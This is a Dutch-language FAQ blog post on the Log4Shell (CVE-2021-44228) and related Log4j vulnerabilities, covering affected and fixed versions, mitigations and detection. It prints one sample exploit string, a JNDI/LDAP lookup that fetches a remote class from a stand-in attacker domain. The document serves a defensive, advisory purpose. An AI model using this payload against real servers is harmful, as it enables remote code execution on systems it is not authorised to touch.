Bron: Access42, Tenable
Na de ontdekking van de Apache Log4j-kwetsbaarheid, bekend als Log4Shell op 9 december, heeft het Access42 Response Team de volgende blogpost samengesteld om antwoord te geven op enkele van de meest gestelde vragen (FAQ) over Log4Shell en de onlangs onthulde kwetsbaarheden in Log4j.
Wat is Log4j?
Log4j is een veelgebruikte logbibliotheek in Java die deel uitmaakt van Apache Logging Services. Het wordt gebruikt om berichten van een toepassing of dienst te loggen, vaak voor debugging doeleinden.
Wat is CVE-2021-44228?
CVE-2021-44228 is een kwetsbaarheid voor remote code execution (RCE) in Apache Log4j 2.0 tot en met 2.14.1. Het heeft de naam Log4Shell gekregen van beveiligingsonderzoekers.
Hoe kan CVE-2021-44228 worden uitgebuit?
Een ongeauthenticeerde aanvaller op afstand kan van dit lek misbruik maken door een speciaal bewerkt verzoek te sturen naar een server met een kwetsbare versie van log4j. Dit kan worden bereikt door een exploit string in een tekstveld op een website te plaatsen of door de exploit string op te nemen als onderdeel van HTTP headers bestemd voor een kwetsbare server. Als de kwetsbare server log4j gebruikt om verzoeken te loggen, zal de exploit vervolgens een kwaadaardige payload opvragen van een door de aanvaller gecontroleerde server via de Java Naming and Directory Interface (JNDI) over een groot aantal diensten, zoals Lightweight Directory Access Protocol (LDAP).
Een voorbeeld van een exploit zou er ongeveer zo uitzien:
${jndi:ldap://niethekken.nl/exploit.class}
Wat gebeurt er als de kwetsbaarheid wordt uitgebuit?
De kwetsbare log4j bibliotheek vraagt een kwaadaardige payload aan en voert die uit vanaf de door de aanvaller gecontroleerde server.
Hebben we tot nu toe aanvallen in het wild gezien?
Aanvallers zijn al begonnen met het gebruik van Log4Shell op verschillende manieren, waaronder:
Er zijn berichten dat zowel nation state groups als initial access brokers al gebruik maken van het lek, wat betekent dat we moeten verwachten dat APT-groepen (advanced persistent threat) en aan ransomware gelieerde groepen het lek in de zeer nabije toekomst zullen gaan gebruiken.
Is Log4Shell aangepakt in Log4j 2.15.0?
Nee, Apache heeft Log4j 2.16.0 uitgebracht om een onvolledige fix voor Log4Shell aan te pakken. Apache heeft een nieuwe CVE toegewezen voor deze onvolledige fix: CVE-2021-45046.
Wat is CVE-2021-45046?
CVE-2021-45046 werd oorspronkelijk gerapporteerd als een denial of service kwetsbaarheid in Apache Log4j 2.0 tot en met 2.15.0, en is sindsdien geupgrade naar een RCE. Onder specifieke niet-standaard configuraties waar een Context Lookup (b.v.: $${ctx:loginId}) wordt gebruikt, zou een aanvaller die een JNDI lookup maakt met kwaadaardige invoergegevens, een DoS conditie kunnen veroorzaken of een RCE kunnen bereiken op een kwetsbare server die Log4j 2 gebruikt.
Geldt de mitigatie voor Log4Shell ook voor CVE-2021-45046?
Nee. Volgens Apache is de vorige oplossing voor CVE-2021-44228 – formatMsgNoLookups op true zetten – in het geheel onvoldoende. Die richtlijn hield geen rekening met andere codepaden waarin message lookups zouden kunnen voorkomen. Daarom raadt Apache nu aan om te upgraden naar een veilige versie van Log4j, te beginnen met 2.16.0 en 2.12.2 (voor Java 7). Als dat niet mogelijk is, raadt Apache aan om het JndiLookup-klassepad te verwijderen.
Wat doet de release van Log4j 2.16.0 eigenlijk?
Gebaseerd op de release notes, heeft Apache ervoor gekozen om Log4j te harden door message lookups te verwijderen en JNDI standaard uit te schakelen.
Mijn organisatie gebruikt Java 7 en we kunnen niet upgraden naar Log4j 2.16.0. Wat moeten we doen?
Apache heeft Log4j 2.12.2 uitgebracht om CVE-2021-45046 voor Java 7 aan te pakken. Als onmiddellijke patching niet mogelijk is, adviseert Apache om de klasse JndiLookup uit het classpath te verwijderen. Richtlijnen voor het verwijderen van dit classpath zijn te vinden in de Apache documentatie.
Wat is CVE-2021-45105?
CVE-2021-45105 is een onlangs vrijgegeven Denial of Service (DoS) kwetsbaarheid in Apache Log4j. De kwetsbaarheid is te misbruiken in niet-standaard configuraties. Een aanvaller kan een bewerkt verzoek verzenden dat een recursieve lookup bevat, wat kan resulteren in een DoS-conditie. Om de kwetsbaarheid te verhelpen heeft Apache Log4j versie 2.17.0 uitgebracht. Daarnaast biedt Apache mogelijkheden om het lek te verhelpen voor diegenen die niet direct kunnen upgraden. Het is raadzaam om de Apache security advisory pagina regelmatig te bekijken, omdat er updates kunnen blijven komen voor de aanbevolen mitigations als er nieuwe ontwikkelingen zijn.
Is Log4j 1.x kwetsbaar?
Er komt nog steeds veel informatie naar buiten rond Log4Shell. Op het moment dat deze blog werd gepubliceerd, zei Apache dat Log4j 1.2 op een vergelijkbare manier kwetsbaar is wanneer Log4j is geconfigureerd om JMSAppender te gebruiken, die geen deel uitmaakt van de standaardconfiguratie, maar niet specifiek kwetsbaar is voor CVE-2021-44228. Aan deze kwetsbaarheid in Log4j 1.2 is CVE-2021-4104 toegekend.
Is er een patch beschikbaar voor Log4j 1.2?
Nee, Log4j branch 1.x heeft de end of life (EOL) status bereikt, en ontvangt daarom geen beveiligingsupdates meer. Gebruikers worden geïnstrueerd om te upgraden naar Log4j 2.12.2 (voor Java 7) of 2.16.0 of hoger.
Hoe los ik CVE-2021-4104 op?
Er zijn een paar opties die gebruikt kunnen worden om misbruik van CVE-2021-4104 te voorkomen.
Wat is het verhaal hier met al deze kwetsbaarheden?
Dit is wat we weten sinds 18 december:
CVE | Vulnerability Type | Affected Log4j Versions | Non-Default Config |
---|---|---|---|
CVE-2021-44228 | RCE | 2.0 through 2.14.1 | No |
CVE-2021-45046 | Denial of Service (DoS) and RCE | 2.0 through 2.15.0 | Yes |
CVE-2021-4104 | RCE | 1.2* | Yes |
CVE-2021-45105 | Denial of Service (DoS) | 2.0-beta9 to 2.16.0 | Yes |
Wat zijn de fixed versies van Log4j die deze kwetsbaarheden verhelpen?
Log4j Release | Java Version | Release Availability |
---|---|---|
2.17.0 | Java 8 | Yes |
2.16.0 | Java 8 | Yes |
2.12.2 | Java 7 | Yes |
1.2 | – | No (EOL) |
Hoe groot is de kans op uitbuiting van deze kwetsbaarheden?
De volgende tabel geeft een overzicht van de exploiteerbaarheid en van de vraag of een kwetsbaarheid al dan niet reeds werd uitgebuit.
CVE | Likelihood of Exploitation | Already Exploited |
---|---|---|
CVE-2021-44228 | High | Yes |
CVE-2021-45046 | Low | No |
CVE-2021-4104 | Low | No |
CVE-2021-45105 | Low | No |
Is er een overzicht van alle kwetsbare software?
Het NCSC houdt een overzicht bij van alle kwetsbare software, inclusief eventuele update/fix.
Wat zijn manieren waarop ik/mijn organisatie deze kwetsbaarheden in Log4j kan identificeren?
Tenable heeft een aantal plug-ins (o.a. Nessus), scan templates en dashboards (Tenable.io, Tenable.sc) voor onze producten uitgebracht.
Cookie | Duration | Description |
---|---|---|
_GRECAPTCHA | 5 months 27 days | This cookie is set by Google. In addition to certain standard Google cookies, reCAPTCHA sets a necessary cookie (_GRECAPTCHA) when executed for the purpose of providing its risk analysis. |
cookielawinfo-checkbox-advertisement | 1 year | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Advertisement". |
cookielawinfo-checkbox-analytics | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics". |
cookielawinfo-checkbox-functional | 11 months | The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional". |
cookielawinfo-checkbox-necessary | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary". |
cookielawinfo-checkbox-others | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. |
cookielawinfo-checkbox-performance | 11 months | This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". |
CookieLawInfoConsent | 1 year | Records the default button state of the corresponding category & the status of CCPA. It works only in coordination with the primary cookie. |
viewed_cookie_policy | 11 months | The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data. |
Cookie | Duration | Description |
---|---|---|
bcookie | 2 years | This cookie is set by linkedIn. The purpose of the cookie is to enable LinkedIn functionalities on the page. |
lang | session | This cookie is used to store the language preferences of a user to serve up content in that stored language the next time user visit the website. |
lidc | 1 day | This cookie is set by LinkedIn and used for routing. |
Cookie | Duration | Description |
---|---|---|
YSC | session | This cookies is set by Youtube and is used to track the views of embedded videos. |
Cookie | Duration | Description |
---|---|---|
_ga | 2 years | This cookie is installed by Google Analytics. The cookie is used to calculate visitor, session, campaign data and keep track of site usage for the site's analytics report. The cookies store information anonymously and assign a randomly generated number to identify unique visitors. |
_gat_gtag_UA_116473530_1 | 1 minute | This cookie is set by Google and is used to distinguish users. |
_gat_UA-116473530-1 | 1 minute | This is a pattern type cookie set by Google Analytics, where the pattern element on the name contains the unique identity number of the account or website it relates to. It appears to be a variation of the _gat cookie which is used to limit the amount of data recorded by Google on high traffic volume websites. |
_gid | 1 day | This cookie is installed by Google Analytics. The cookie is used to store information of how visitors use a website and helps in creating an analytics report of how the website is doing. The data collected including the number visitors, the source where they have come from, and the pages visted in an anonymous form. |
Cookie | Duration | Description |
---|---|---|
bscookie | 2 years | This cookie is a browser ID cookie set by Linked share Buttons and ad tags. |
IDE | 1 year 24 days | Used by Google DoubleClick and stores information about how the user uses the website and any other advertisement before visiting the website. This is used to present users with ads that are relevant to them according to the user profile. |
prism_476809757 | 1 month | Used by ActiveCampaign to track usage of newsletters |
test_cookie | 15 minutes | This cookie is set by doubleclick.net. The purpose of the cookie is to determine if the user's browser supports cookies. |
VISITOR_INFO1_LIVE | 5 months 27 days | This cookie is set by Youtube. Used to track the information of the embedded YouTube videos on a website. |
yt-remote-connected-devices | never | YouTube sets this cookie to store the video preferences of the user using embedded YouTube video. |
yt-remote-device-id | never | YouTube sets this cookie to store the video preferences of the user using embedded YouTube video. |
Cookie | Duration | Description |
---|---|---|
AnalyticsSyncHistory | 1 month | No description |
CONSENT | 16 years 7 months 5 days 13 hours | No description |
li_gc | 2 years | No description |
UserMatchHistory | 1 month | Linkedin - Used to track visitors on multiple websites, in order to present relevant advertisement based on the visitor's preferences. |